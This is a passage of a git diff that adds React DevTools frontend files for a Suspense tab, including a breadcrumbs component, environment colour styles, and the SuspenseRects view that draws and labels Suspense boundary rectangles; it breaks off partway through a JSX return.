+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {SuspenseNode} from 'react-devtools-shared/src/frontend/types';
+import typeof {SyntheticMouseEvent} from 'react-dom-bindings/src/events/SyntheticEvent';
+
+import * as React from 'react';
+import {Fragment, useContext, useLayoutEffect, useRef, useState} from 'react';
+import Button from '../Button';
+import ButtonIcon from '../ButtonIcon';
+import Tooltip from '../Components/reach-ui/tooltip';
+import {
+  Menu,
+  MenuList,
+  MenuButton,
+  MenuItem,
+} from '../Components/reach-ui/menu-button';
+import {
+  TreeDispatcherContext,
+  TreeStateContext,
+} from '../Components/TreeContext';
+import {StoreContext} from '../context';
+import {useHighlightHostInstance, useIsOverflowing} from '../hooks';
+import styles from './SuspenseBreadcrumbs.css';
+import {
+  SuspenseTreeStateContext,
+  SuspenseTreeDispatcherContext,
+} from './SuspenseTreeContext';
+
+type SuspenseBreadcrumbsFlatListProps = {
+  onItemClick: (id: SuspenseNode['id'], event: SyntheticMouseEvent) => void,
+  onItemPointerEnter: (
+    id: SuspenseNode['id'],
+    scrollIntoView?: boolean,
+  ) => void,
+  onItemPointerLeave: (event: SyntheticMouseEvent) => void,
+  setElementsTotalWidth: (width: number) => void,
+};
+
+function SuspenseBreadcrumbsFlatList({
+  onItemClick,
+  onItemPointerEnter,
+  onItemPointerLeave,
+  setElementsTotalWidth,
+}: SuspenseBreadcrumbsFlatListProps): React$Node {
+  const store = useContext(StoreContext);
+  const {activityID} = useContext(TreeStateContext);
+  const {selectedSuspenseID, lineage, roots} = useContext(
+    SuspenseTreeStateContext,
+  );
+
+  const containerRef = useRef<HTMLDivElement | null>(null);
+  useLayoutEffect(() => {
+    const container = containerRef.current;
+    if (container === null) {
+      return;
+    }
+
+    const ResizeObserver = container.ownerDocument.defaultView.ResizeObserver;
+    const observer = new ResizeObserver(entries => {
+      const entry = entries[0];
+      setElementsTotalWidth(entry.contentRect.width);
+    });
+
+    observer.observe(container);
+    return observer.disconnect.bind(observer);
+  }, []);
+
+  return (
+    <ol className={styles.SuspenseBreadcrumbsList} ref={containerRef}>
+      {lineage === null ? null : lineage.length === 0 ? (
+        // We selected the root. This means that we're currently viewing the Transition
+        // that rendered the whole screen. In laymans terms this is really "Initial Paint" .
+        // When we're looking at a subtree selection, then the equivalent is a
+        // "Transition" since in that case it's really about a Transition within the page.
+        roots.length > 0 ? (
+          <li
+            className={styles.SuspenseBreadcrumbsListItem}
+            aria-current="true">
+            <button
+              className={styles.SuspenseBreadcrumbsButton}
+              onClick={onItemClick.bind(
+                null,
+                activityID === null ? roots[0] : activityID,
+              )}
+              type="button">
+              {activityID === null ? 'Initial Paint' : 'Transition'}
+            </button>
+          </li>
+        ) : null
+      ) : (
+        lineage.map((id, index) => {
+          const node = store.getSuspenseByID(id);
+
+          return (
+            <Fragment key={id}>
+              <li
+                className={styles.SuspenseBreadcrumbsListItem}
+                aria-current={selectedSuspenseID === id}
+                onPointerEnter={onItemPointerEnter.bind(null, id, false)}
+                onPointerLeave={onItemPointerLeave}>
+                <button
+                  className={styles.SuspenseBreadcrumbsButton}
+                  onClick={onItemClick.bind(null, id)}
+                  type="button">
+                  {node === null ? 'Unknown' : node.name || 'Unknown'}
+                </button>
+              </li>
+              {index < lineage.length - 1 && (
+                <span className={styles.SuspenseBreadcrumbsListItemSeparator}>
+                  »
+                </span>
+              )}
+            </Fragment>
+          );
+        })
+      )}
+    </ol>
+  );
+}
+
+type SuspenseBreadcrumbsMenuProps = {
+  onItemClick: (id: SuspenseNode['id'], event: SyntheticMouseEvent) => void,
+  onItemPointerEnter: (
+    id: SuspenseNode['id'],
+    scrollIntoView?: boolean,
+  ) => void,
+  onItemPointerLeave: (event: SyntheticMouseEvent) => void,
+};
+
+function SuspenseBreadcrumbsMenu({
+  onItemClick,
+  onItemPointerEnter,
+  onItemPointerLeave,
+}: SuspenseBreadcrumbsMenuProps): React$Node {
+  const store = useContext(StoreContext);
+  const {activityID} = useContext(TreeStateContext);
+  const {selectedSuspenseID, lineage, roots} = useContext(
+    SuspenseTreeStateContext,
+  );
+  const selectedSuspenseNode =
+    selectedSuspenseID !== null
+      ? store.getSuspenseByID(selectedSuspenseID)
+      : null;
+
+  return (
+    <>
+      {lineage === null ? null : lineage.length === 0 ? (
+        // We selected the root. This means that we're currently viewing the Transition
+        // that rendered the whole screen. In laymans terms this is really "Initial Paint" .
+        // When we're looking at a subtree selection, then the equivalent is a
+        // "Transition" since in that case it's really about a Transition within the page.
+        roots.length > 0 ? (
+          <button
+            className={styles.SuspenseBreadcrumbsButton}
+            onClick={onItemClick.bind(
+              null,
+              activityID === null ? roots[0] : activityID,
+            )}
+            type="button">
+            {activityID === null ? 'Initial Paint' : 'Transition'}
+          </button>
+        ) : null
+      ) : (
+        <>
+          <SuspenseBreadcrumbsDropdown
+            lineage={lineage}
+            selectElement={onItemClick}
+          />
+          <SuspenseBreadcrumbsToParentButton
+            lineage={lineage}
+            selectedSuspenseID={selectedSuspenseID}
+            selectElement={onItemClick}
+          />
+          {selectedSuspenseNode != null && (
+            <button
+              className={styles.SuspenseBreadcrumbsButton}
+              onClick={onItemClick.bind(null, selectedSuspenseNode.id)}
+              onPointerEnter={onItemPointerEnter.bind(
+                null,
+                selectedSuspenseNode.id,
+                false,
+              )}
+              onPointerLeave={onItemPointerLeave}
+              type="button">
+              {selectedSuspenseNode === null
+                ? 'Unknown'
+                : selectedSuspenseNode.name || 'Unknown'}
+            </button>
+          )}
+        </>
+      )}
+    </>
+  );
+}
+
+type SuspenseBreadcrumbsDropdownProps = {
+  lineage: $ReadOnlyArray<SuspenseNode['id']>,
+  selectedIndex: number,
+  selectElement: (id: SuspenseNode['id']) => void,
+};
+function SuspenseBreadcrumbsDropdown({
+  lineage,
+  selectElement,
+}: SuspenseBreadcrumbsDropdownProps) {
+  const store = useContext(StoreContext);
+
+  const menuItems = [];
+  for (let index = lineage.length - 1; index >= 0; index--) {
+    const suspenseNodeID = lineage[index];
+    const node = store.getSuspenseByID(suspenseNodeID);
+    menuItems.push(
+      <MenuItem
+        key={suspenseNodeID}
+        className={`${styles.Component}`}
+        onSelect={selectElement.bind(null, suspenseNodeID)}>
+        {node === null ? 'Unknown' : node.name || 'Unknown'}
+      </MenuItem>,
+    );
+  }
+
+  return (
+    <Menu>
+      <MenuButton className={styles.SuspenseBreadcrumbsMenuButton}>
+        <Tooltip label="Open elements dropdown">
+          <span
+            className={styles.SuspenseBreadcrumbsMenuButtonContent}
+            tabIndex={-1}>
+            <ButtonIcon type="more" />
+          </span>
+        </Tooltip>
+      </MenuButton>
+      <MenuList className={styles.SuspenseBreadcrumbsModal}>
+        {menuItems}
+      </MenuList>
+    </Menu>
+  );
+}
+
+type SuspenseBreadcrumbsToParentButtonProps = {
+  lineage: $ReadOnlyArray<SuspenseNode['id']>,
+  selectedSuspenseID: SuspenseNode['id'] | null,
+  selectElement: (id: SuspenseNode['id'], event: SyntheticMouseEvent) => void,
+};
+function SuspenseBreadcrumbsToParentButton({
+  lineage,
+  selectedSuspenseID,
+  selectElement,
+}: SuspenseBreadcrumbsToParentButtonProps) {
+  const store = useContext(StoreContext);
+  const selectedIndex =
+    selectedSuspenseID === null
+      ? lineage.length - 1
+      : lineage.indexOf(selectedSuspenseID);
+
+  if (selectedIndex <= 0) {
+    return null;
+  }
+
+  const parentID = lineage[selectedIndex - 1];
+  const parent = store.getSuspenseByID(parentID);
+
+  return (
+    <Button
+      className={parent !== null ? undefined : styles.NotInStore}
+      onClick={parent !== null ? selectElement.bind(null, parentID) : null}
+      title={`Up to ${parent === null ? 'Unknown' : parent.name || 'Unknown'}`}>
+      <ButtonIcon type="previous" />
+    </Button>
+  );
+}
+
+export default function SuspenseBreadcrumbs(): React$Node {
+  const treeDispatch = useContext(TreeDispatcherContext);
+  const suspenseTreeDispatch = useContext(SuspenseTreeDispatcherContext);
+
+  const {highlightHostInstance, clearHighlightHostInstance} =
+    useHighlightHostInstance();
+
+  function handleClick(id: SuspenseNode['id'], event?: SyntheticMouseEvent) {
+    if (event !== undefined) {
+      // E.g. 3rd party component libraries might omit the event and already prevent default
+      // like Reach's MenuItem does.
+      event.preventDefault();
+    }
+    treeDispatch({type: 'SELECT_ELEMENT_BY_ID', payload: id});
+    suspenseTreeDispatch({type: 'SELECT_SUSPENSE_BY_ID', payload: id});
+  }
+
+  const [elementsTotalWidth, setElementsTotalWidth] = useState(0);
+  const containerRef = useRef<HTMLDivElement | null>(null);
+  const isOverflowing = useIsOverflowing(containerRef, elementsTotalWidth);
+
+  return (
+    <div className={styles.SuspenseBreadcrumbsContainer} ref={containerRef}>
+      {isOverflowing ? (
+        <SuspenseBreadcrumbsMenu
+          onItemClick={handleClick}
+          onItemPointerEnter={highlightHostInstance}
+          onItemPointerLeave={clearHighlightHostInstance}
+        />
+      ) : (
+        <SuspenseBreadcrumbsFlatList
+          onItemClick={handleClick}
+          onItemPointerEnter={highlightHostInstance}
+          onItemPointerLeave={clearHighlightHostInstance}
+          setElementsTotalWidth={setElementsTotalWidth}
+        />
+      )}
+    </div>
+  );
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseEnvironmentColors.css b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseEnvironmentColors.css
new file mode 100644
index 000000000000..a56bc80ee9bf
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseEnvironmentColors.css
@@ -0,0 +1,14 @@
+.SuspenseEnvironmentDefault {
+  --color-suspense: var(--color-suspense-default);
+  --color-transition: var(--color-transition-default);
+}
+
+.SuspenseEnvironmentServer {
+  --color-suspense: var(--color-suspense-server);
+  --color-transition: var(--color-transition-server);
+}
+
+.SuspenseEnvironmentOther {
+  --color-suspense: var(--color-suspense-other);
+  --color-transition: var(--color-transition-other);
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseEnvironmentColors.js b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseEnvironmentColors.js
new file mode 100644
index 000000000000..579a9093acb4
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseEnvironmentColors.js
@@ -0,0 +1,20 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import styles from './SuspenseEnvironmentColors.css';
+
+export function getClassNameForEnvironment(environment: null | string): string {
+  if (environment === null) {
+    return styles.SuspenseEnvironmentDefault;
+  }
+  if (environment === 'Server') {
+    return styles.SuspenseEnvironmentServer;
+  }
+  return styles.SuspenseEnvironmentOther;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseRects.css b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseRects.css
new file mode 100644
index 000000000000..6b43f873ae85
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseRects.css
@@ -0,0 +1,110 @@
+.SuspenseRectsContainer {
+  padding: .25rem;
+  outline-color: transparent;
+  outline-style: solid;
+  outline-width: 1px;
+  border-radius: 0.25rem;
+}
+
+.SuspenseRectsRoot {
+  cursor: pointer;
+  outline-color: var(--color-transition);
+  background-color: color-mix(in srgb, var(--color-transition) 5%, transparent);
+}
+
+.SuspenseRectsRootOutline {
+  outline-width: 4px;
+  border-radius: 0.125rem;
+}
+
+.SuspenseRectsRoot[data-hovered='true'] {
+  background-color: color-mix(in srgb, var(--color-transition) 15%, transparent);
+}
+
+.SuspenseRectsViewBox {
+  position: relative;
+}
+
+.SuspenseRectsBoundary {
+  pointer-events: all;
+  border-radius: 0.125rem;
+}
+
+.SuspenseRectsBoundary[data-visible='false'] {
+  background-color: transparent;
+}
+
+.SuspenseRectsBoundaryChildren {
+  pointer-events: none;
+}
+
+.SuspenseRectsTitle {
+  pointer-events: none;
+  color: color-mix(in srgb, var(--color-suspense) 50%, var(--color-text));
+  overflow: hidden;
+  text-overflow: ellipsis;
+  font-family: var(--font-family-sans);
+  font-size: var(--font-size-sans-small);
+  line-height: var(--line-height-data);
+  padding: 0 .25rem;
+  container-type: size;
+  container-name: title;
+}
+
+@container title (width < 30px) or (height < 18px) {
+  .SuspenseRectsTitle > span {
+    display: none;
+  }
+}
+
+.SuspenseRectsScaledRect[data-visible='false'] > .SuspenseRectsBoundaryChildren {
+  overflow: initial;
+}
+
+.SuspenseRectsRect {
+  box-shadow: var(--elevation-4);
+  pointer-events: all;
+  cursor: pointer;
+  border-radius: 0.125rem;
+  background-color: color-mix(in srgb, var(--color-background) 50%, var(--color-suspense) 25%);
+  backdrop-filter: grayscale(100%);
+  transition: background-color 0.2s ease-in;
+  outline-color: var(--color-suspense);
+  outline-style: solid;
+  outline-width: 1px;
+}
+
+.SuspenseRectsScaledRect {
+  position: absolute;
+}
+
+.SuspenseRectsScaledRect[data-visible='false'] {
+  pointer-events: none;
+  outline-width: 0;
+}
+
+.SuspenseRectsBoundary[data-suspended='true'] {
+  opacity: 0.33;
+}
+
+/* highlight this boundary */
+.SuspenseRectsBoundary[data-hovered='true'] > .SuspenseRectsRect {
+  background-color: color-mix(in srgb, var(--color-background) 50%, var(--color-suspense) 50%);
+  transition: background-color 0.2s ease-out;
+}
+
+.SuspenseRectsBoundary[data-selected='true'][data-visible='true'] {
+  box-shadow: var(--elevation-4);
+}
+
+.SuspenseRectOutline {
+  outline-color: var(--color-suspense);
+  outline-style: solid;
+  outline-width: 4px;
+  border-radius: 0.125rem;
+  pointer-events: none;
+}
+
+.SuspenseRectsBoundary[data-selected='true'] > .SuspenseRectsRect {
+   box-shadow: none;
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseRects.js b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseRects.js
new file mode 100644
index 000000000000..69d4767a489f
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseRects.js
@@ -0,0 +1,620 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type Store from 'react-devtools-shared/src/devtools/store';
+import type {
+  Element,
+  SuspenseNode,
+  Rect,
+} from 'react-devtools-shared/src/frontend/types';
+import typeof {
+  SyntheticMouseEvent,
+  SyntheticPointerEvent,
+} from 'react-dom-bindings/src/events/SyntheticEvent';
+
+import * as React from 'react';
+import {createContext, useContext, useLayoutEffect, useMemo} from 'react';
+import {
+  TreeDispatcherContext,
+  TreeStateContext,
+} from '../Components/TreeContext';
+import {StoreContext} from '../context';
+import {useHighlightHostInstance} from '../hooks';
+import styles from './SuspenseRects.css';
+import {
+  SuspenseTreeStateContext,
+  SuspenseTreeDispatcherContext,
+} from './SuspenseTreeContext';
+import {getClassNameForEnvironment} from './SuspenseEnvironmentColors.js';
+import type RBush from 'rbush';
+
+function ScaledRect({
+  className,
+  rect,
+  visible,
+  suspended,
+  selected,
+  hovered,
+  adjust,
+  ...props
+}: {
+  className: string,
+  rect: Rect,
+  visible: boolean,
+  suspended: boolean,
+  selected?: boolean,
+  hovered?: boolean,
+  adjust?: boolean,
+  ...
+}): React$Node {
+  const viewBox = useContext(ViewBox);
+  const width = (rect.width / viewBox.width) * 100 + '%';
+  const height = (rect.height / viewBox.height) * 100 + '%';
+  const x = ((rect.x - viewBox.x) / viewBox.width) * 100 + '%';
+  const y = ((rect.y - viewBox.y) / viewBox.height) * 100 + '%';
+
+  return (
+    <div
+      {...props}
+      className={styles.SuspenseRectsScaledRect + ' ' + className}
+      data-visible={visible}
+      data-suspended={suspended}
+      data-selected={selected}
+      data-hovered={hovered}
+      style={{
+        // Shrink one pixel so that the bottom outline will line up with the top outline of the next one.
+        width: adjust ? 'calc(' + width + ' - 1px)' : width,
+        height: adjust ? 'calc(' + height + ' - 1px)' : height,
+        top: y,
+        left: x,
+      }}
+    />
+  );
+}
+
+function SuspenseRects({
+  suspenseID,
+  parentRects,
+}: {
+  suspenseID: SuspenseNode['id'],
+  parentRects: null | Array<Rect>,
+}): React$Node {
+  const store = useContext(StoreContext);
+  const treeDispatch = useContext(TreeDispatcherContext);
+  const suspenseTreeDispatch = useContext(SuspenseTreeDispatcherContext);
+  const {uniqueSuspendersOnly, timeline, hoveredTimelineIndex} = useContext(
+    SuspenseTreeStateContext,
+  );
+
+  const {inspectedElementID} = useContext(TreeStateContext);
+
+  const {highlightHostInstance, clearHighlightHostInstance} =
+    useHighlightHostInstance();
+
+  const suspense = store.getSuspenseByID(suspenseID);
+  if (suspense === null) {
+    // getSuspenseByID will have already warned
+    return null;
+  }
+  const visible = suspense.hasUniqueSuspenders || !uniqueSuspendersOnly;
+
+  function handleClick(event: SyntheticMouseEvent) {
+    if (event.defaultPrevented) {
+      // Already clicked on an inner rect
+      return;
+    }
+    event.preventDefault();
+    treeDispatch({type: 'SELECT_ELEMENT_BY_ID', payload: suspenseID});
+    suspenseTreeDispatch({
+      type: 'SET_SUSPENSE_LINEAGE',
+      payload: suspenseID,
+    });
+  }
+
+  function handleDoubleClick(event: SyntheticMouseEvent) {
+    if (event.defaultPrevented) {
+      // Already clicked on an inner rect
+      return;
+    }
+    event.preventDefault();
+    suspenseTreeDispatch({
+      type: 'TOGGLE_TIMELINE_FOR_ID',
+      payload: suspenseID,
+    });
+  }
+
+  function handlePointerOver(event: SyntheticPointerEvent) {
+    if (event.defaultPrevented) {
+      // Already hovered an inner rect
+      return;
+    }
+    event.preventDefault();
+    highlightHostInstance(suspenseID);
+    suspenseTreeDispatch({
+      type: 'HOVER_TIMELINE_FOR_ID',
+      payload: suspenseID,
+    });
+  }
+
+  function handlePointerLeave(event: SyntheticPointerEvent) {
+    if (event.defaultPrevented) {
+      // Already hovered an inner rect
+      return;
+    }
+    event.preventDefault();
+    clearHighlightHostInstance();
+    suspenseTreeDispatch({
+      type: 'HOVER_TIMELINE_FOR_ID',
+      payload: -1,
+    });
+  }
+
+  // TODO: Use the nearest Suspense boundary
+  const selected = inspectedElementID === suspenseID;
+
+  const hovered =
+    hoveredTimelineIndex > -1 &&
+    timeline[hoveredTimelineIndex].id === suspenseID;
+
+  let environment: null | string = null;
+  for (let i = 0; i < timeline.length; i++) {
+    const timelineStep = timeline[i];
+    if (timelineStep.id === suspenseID) {
+      environment = timelineStep.environment;
+      break;
+    }
+  }
+
+  const rects = suspense.rects;
+  const boundingBox = getBoundingBox(rects);
+
+  // Next we'll try to find a rect within one of our rects that isn't intersecting with
+  // other rects.
+  // TODO: This should probably be memoized based on if any changes to the rtree has been made.
+  const titleBox: null | Rect =
+    rects === null ? null : findTitleBox(store._rtree, rects, parentRects);
+  const nextRects =
+    rects === null || rects.length === 0
+      ? parentRects
+      : parentRects === null || parentRects.length === 0
+        ? rects
+        : parentRects.concat(rects);
+
+  return (
+    <ScaledRect
+      rect={boundingBox}
+      className={
+        styles.SuspenseRectsBoundary +
+        ' ' +
+        getClassNameForEnvironment(environment)
+      }
+      visible={visible}
+      selected={selected}
+      suspended={suspense.isSuspended}
+      hovered={hovered}>
+      <ViewBox.Provider value={boundingBox}>
+        {visible &&
+          suspense.rects !== null &&
+          suspense.rects.map((rect, index) => {
+            return (
+              <ScaledRect
+                key={index}
+                className={styles.SuspenseRectsRect}
+                rect={rect}
+                adjust={true}
+                onClick={handleClick}
+                onDoubleClick={handleDoubleClick}
+                onPointerOver={handlePointerOver}
+                onPointerLeave={handlePointerLeave}
+                // Reach-UI tooltip will go out of bounds of parent scroll container.
+                title={suspense.name || 'Unknown'}
+              />
+            );
+          })}
+        {suspense.children.length > 0 && (
+          <ScaledRect
+            className={styles.SuspenseRectsBoundaryChildren}
+            rect={boundingBox}>
+            {suspense.children.map(childID => {
+              return (
+                <SuspenseRects
+                  key={childID}
+                  suspenseID={childID}
+                  parentRects={nextRects}
+                />
+              );
+            })}
+          </ScaledRect>
+        )}
+        {titleBox && suspense.name && visible ? (
+          <ScaledRect className={styles.SuspenseRectsTitle} rect={titleBox}>
+            <span>{suspense.name}</span>
+          </ScaledRect>
+        ) : null}
+      </ViewBox.Provider>
+    </ScaledRect>
+  );
+}
+
+function getBoundingBox(rects: $ReadOnlyArray<Rect> | null): Rect {
+  if (rects === null || rects.length === 0) {
+    return {x: 0, y: 0, width: 0, height: 0};
+  }
+
+  let minX = Number.POSITIVE_INFINITY;
+  let minY = Number.POSITIVE_INFINITY;
+  let maxX = Number.NEGATIVE_INFINITY;
+  let maxY = Number.NEGATIVE_INFINITY;
+
+  for (let i = 0; i < rects.length; i++) {
+    const rect = rects[i];
+    minX = Math.min(minX, rect.x);
+    minY = Math.min(minY, rect.y);
+    maxX = Math.max(maxX, rect.x + rect.width);
+    maxY = Math.max(maxY, rect.y + rect.height);
+  }
+
+  return {
+    x: minX,
+    y: minY,
+    width: maxX - minX,
+    height: maxY - minY,
+  };
+}
+
+function computeBoundingRectRecursively(
+  store: Store,
+  node: SuspenseNode,
+  bounds: {
+    minX: number,
+    minY: number,
+    maxX: number,
+    maxY: number,
+  },
+): void {
+  const rects = node.rects;
+  if (rects !== null) {
+    for (let j = 0; j < rects.length; j++) {
+      const rect = rects[j];
+      if (rect.x < bounds.minX) {
+        bounds.minX = rect.x;
+      }
+      if (rect.x + rect.width > bounds.maxX) {
+        bounds.maxX = rect.x + rect.width;
+      }
+      if (rect.y < bounds.minY) {
+        bounds.minY = rect.y;
+      }
+      if (rect.y + rect.height > bounds.maxY) {
+        bounds.maxY = rect.y + rect.height;
+      }
+    }
+  }
+  for (let i = 0; i < node.children.length; i++) {
+    const child = store.getSuspenseByID(node.children[i]);
+    if (child !== null) {
+      computeBoundingRectRecursively(store, child, bounds);
+    }
+  }
+}
+
+function getDocumentBoundingRect(
+  store: Store,
+  roots: $ReadOnlyArray<SuspenseNode['id']>,
+): Rect {
+  if (roots.length === 0) {
+    return {x: 0, y: 0, width: 0, height: 0};
+  }
+
+  const bounds = {
+    minX: Number.POSITIVE_INFINITY,
+    minY: Number.POSITIVE_INFINITY,
+    maxX: Number.NEGATIVE_INFINITY,
+    maxY: Number.NEGATIVE_INFINITY,
+  };
+
+  for (let i = 0; i < roots.length; i++) {
+    const rootID = roots[i];
+    const root = store.getSuspenseByID(rootID);
+    if (root === null) {
+      continue;
+    }
+    computeBoundingRectRecursively(store, root, bounds);
+  }
+
+  if (bounds.minX === Number.POSITIVE_INFINITY) {
+    // No rects found, return empty rect
+    return {x: 0, y: 0, width: 0, height: 0};
+  }
+
+  return {
+    x: bounds.minX,
+    y: bounds.minY,
+    width: bounds.maxX - bounds.minX,
+    height: bounds.maxY - bounds.minY,
+  };
+}
+
+function findTitleBox(
+  rtree: RBush<Rect>,
+  rects: Array<Rect>,
+  parentRects: null | Array<Rect>,
+): null | Rect {
+  for (let i = 0; i < rects.length; i++) {
+    const rect = rects[i];
+    if (rect.width < 20 || rect.height < 10) {
+      // Skip small rects. They're likely not able to be contain anything useful anyway.
+      continue;
+    }
+    // Find all overlapping rects elsewhere in the tree to limit our rect.
+    const overlappingRects = rtree.search({
+      minX: rect.x,
+      minY: rect.y,
+      maxX: rect.x + rect.width,
+      maxY: rect.y + rect.height,
+    });
+    if (
+      overlappingRects.length === 0 ||
+      (overlappingRects.length === 1 && overlappingRects[0] === rect)
+    ) {
+      // There are no overlapping rects that isn't our own rect, so we can just use
+      // the full space of the rect.
+      return rect;
+    }
+    // We have some overlapping rects but they might not overlap everything. Let's
+    // shrink it up toward the top left corner until it has no more overlap.
+    const minX = rect.x;
+    const minY = rect.y;
+    let maxX = rect.x + rect.width;
+    let maxY = rect.y + rect.height;
+    for (let j = 0; j < overlappingRects.length; j++) {
+      const overlappingRect = overlappingRects[j];
+      if (overlappingRect === rect) {
+        continue;
+      }
+      const x = overlappingRect.x;
+      const y = overlappingRect.y;
+      if (y < maxY && x < maxX) {
+        if (
+          parentRects !== null &&
+          parentRects.indexOf(overlappingRect) !== -1
+        ) {
+          // This rect overlaps but it's part of a parent boundary. We let
+          // title content render if it's on top and not a sibling.
+          continue;
+        }
+        // This rect cuts into the remaining space. Let's figure out if we're
+        // better off cutting on the x or y axis to maximize remaining space.
+        const remainderX = x - minX;
+        const remainderY = y - minY;
+        if (remainderX > remainderY) {
+          maxX = x;
+        } else {
+          maxY = y;
+        }
+      }
+    }
+    if (maxX > minX && maxY > minY) {
+      return {
+        x: minX,
+        y: minY,
+        width: maxX - minX,
+        height: maxY - minY,
+      };
+    }
+  }
+  return null;
+}
+
+function SuspenseRectsRoot({rootID}: {rootID: SuspenseNode['id']}): React$Node {
+  const store = useContext(StoreContext);
+  const root = store.getSuspenseByID(rootID);
+  if (root === null) {
+    // getSuspenseByID will have already warned
+    return null;
+  }
+
+  return root.children.map(childID => {
+    return (
+      <SuspenseRects key={childID} suspenseID={childID} parentRects={null} />
+    );
+  });
+}
+
+function SuspenseRectsInitialPaint(): React$Node {
+  const {roots} = useContext(SuspenseTreeStateContext);
+  return roots.map(rootID => {
+    return <SuspenseRectsRoot key={rootID} rootID={rootID} />;
+  });
+}
+
+function SuspenseRectsTransition({id}: {id: Element['id']}): React$Node {
+  const store = useContext(StoreContext);
+  const children = useMemo(() => {
+    return store.getSuspenseChildren(id);
+  }, [id, store]);
+
+  return children.map(suspenseID => {
+    return (
+      <SuspenseRects
+        key={suspenseID}
+        suspenseID={suspenseID}
+        parentRects={null}
+      />
+    );
+  });
+}
+
+const ViewBox = createContext<Rect>((null: any));
+
+function SuspenseRectsContainer({
+  scaleRef,
+}: {
+  scaleRef: {current: number},
+}): React$Node {
+  const store = useContext(StoreContext);
+  const {activityID, inspectedElementID} = useContext(TreeStateContext);
+  const treeDispatch = useContext(TreeDispatcherContext);
+  const suspenseTreeDispatch = useContext(SuspenseTreeDispatcherContext);
+  // TODO: This relies on a full re-render of all children when the Suspense tree changes.
+  const {roots, timeline, hoveredTimelineIndex, uniqueSuspendersOnly} =
+    useContext(SuspenseTreeStateContext);
+
+  const activityChildren: $ReadOnlyArray<SuspenseNode['id']> | null =
+    useMemo(() => {
+      if (activityID === null) {
+        return null;
+      }
+      return store.getSuspenseChildren(activityID);
+    }, [activityID, store]);
+  const transitionChildren =
+    activityChildren === null ? roots : activityChildren;
+
+  // We're using the bounding box of the entire document to anchor the Transition
+  // in the actual document.
+  const boundingBox = getDocumentBoundingRect(store, roots);
+
+  const boundingBoxWidth = boundingBox.width;
+  const heightScale =
+    boundingBoxWidth === 0 ? 1 : boundingBox.height / boundingBoxWidth;
+  // Scales the inspected document to fit into the available width
+  const width = '100%';
+  const aspectRatio = `1 / ${heightScale}`;
+
+  function handleClick(event: SyntheticMouseEvent) {
+    if (event.defaultPrevented) {
+      // Already clicked on an inner rect
+      return;
+    }
+    if (transitionChildren.length === 0) {
+      // Nothing to select
+      return;
+    }
+    const arbitraryRootID = roots[0];
+    const transitionRoot = activityID === null ? arbitraryRootID : activityID;
+
+    event.preventDefault();
+    treeDispatch({
+      type: 'SELECT_ELEMENT_BY_ID',
+      payload: transitionRoot,
+    });
+    suspenseTreeDispatch({
+      type: 'SET_SUSPENSE_LINEAGE',
+      payload: arbitraryRootID,
+    });
+  }
+
+  function handleDoubleClick(event: SyntheticMouseEvent) {
+    if (event.defaultPrevented) {
+      // Already clicked on an inner rect
+      return;
+    }
+    event.preventDefault();
+    suspenseTreeDispatch({
+      type: 'SUSPENSE_SET_TIMELINE_INDEX',
+      payload: 0,
+    });
+  }
+
+  const isRootSelected = roots.includes(inspectedElementID);
+  // When we're focusing a Transition, the first timeline step will not be a root.
+  const isRootHovered = activityID === null && hoveredTimelineIndex === 0;
+
+  let hasRootSuspenders = false;
+  if (!uniqueSuspendersOnly) {
+    hasRootSuspenders = true;
+  } else {
+    for (let i = 0; i < roots.length; i++) {
+      const rootID = roots[i];
+      const root = store.getSuspenseByID(rootID);
+      if (root !== null && root.hasUniqueSuspenders) {
+        hasRootSuspenders = true;
+        break;
+      }
+    }
+  }
+
+  const rootEnvironment =
+    timeline.length === 0 ? null : timeline[0].environment;
+
+  useLayoutEffect(() => {
+    // 100% of the width represents this many pixels in the real document.
+    scaleRef.current = boundingBoxWidth;
+  }, [boundingBoxWidth]);
+
+  let selectedBoundingBox = null;
+  let selectedEnvironment = null;
+  if (isRootSelected) {
+    selectedEnvironment = rootEnvironment;
+  } else if (
+    inspectedElementID !== null &&
+    // TODO: Separate inspected element and inspected Suspense and use the inspected Suspense ID here.
+    store.containsSuspense(inspectedElementID)
+  ) {
+    const selectedSuspenseNode = store.getSuspenseByID(inspectedElementID);
+    if (
+      selectedSuspenseNode !== null &&
+      (selectedSuspenseNode.hasUniqueSuspenders || !uniqueSuspendersOnly)
+    ) {
+      selectedBoundingBox = getBoundingBox(selectedSuspenseNode.rects);
+      for (let i = 0; i < timeline.length; i++) {
+        const timelineStep = timeline[i];
+        if (timelineStep.id === inspectedElementID) {
+          selectedEnvironment = timelineStep.environment;
+          break;
+        }
+      }
+    }
+  }
+
+  return (
+    <div
+      className={
+        styles.SuspenseRectsContainer +
+        (hasRootSuspenders &&
+        // We don't want to draw attention to the root if we're looking at a Transition.
+        // TODO: Draw bounding rect of Transition and check if the Transition
+        // has unique suspenders.
+        activityID === null
+          ? ' ' + styles.SuspenseRectsRoot
+          : '') +
+        (isRootSelected ? ' ' + styles.SuspenseRectsRootOutline : '') +
+        ' ' +
+        getClassNameForEnvironment(rootEnvironment)
+      }
+      onClick={handleClick}
+      onDoubleClick={handleDoubleClick}
